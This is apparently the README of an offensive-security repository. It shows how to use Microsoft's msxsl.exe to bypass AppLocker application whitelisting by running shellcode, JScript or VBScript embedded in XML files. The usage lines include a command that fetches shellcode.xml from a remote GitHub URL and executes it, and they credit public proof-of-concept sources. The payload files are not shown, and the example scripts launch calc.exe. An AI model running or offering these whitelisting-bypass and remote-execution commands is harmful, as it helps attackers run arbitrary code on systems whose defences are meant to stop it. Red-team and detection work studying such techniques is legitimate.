Use-msxsl-to-bypass-AppLocker
Learn from Casey Smith@subTee
https://twitter.com/subTee/status/877616321747271680
Usage:
msxsl.exe argv1.xml shellcode.xml/JScript.xml/VBScript.xml
or
msxsl.exe shellcode.xml/JScript.xml/VBScript.xml shellcode.xml/JScript.xml/VBScript.xml
or remote execution(Evi1cg told me)，like this:
msxls.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
shellcode.xml:
Use msxsl to run shellcode.
Combine Casey Smith's msxsl POC and Cn33liz's StarFighters.
Link:
https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1
https://github.com/Cn33liz/StarFighters/blob/master/StarFighter.js
JScript.xml:
Use JScript to run calc.exe
From: https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1#file-script-xsl
VBScript.xml:
Use VBScript to run calc.exe
Details：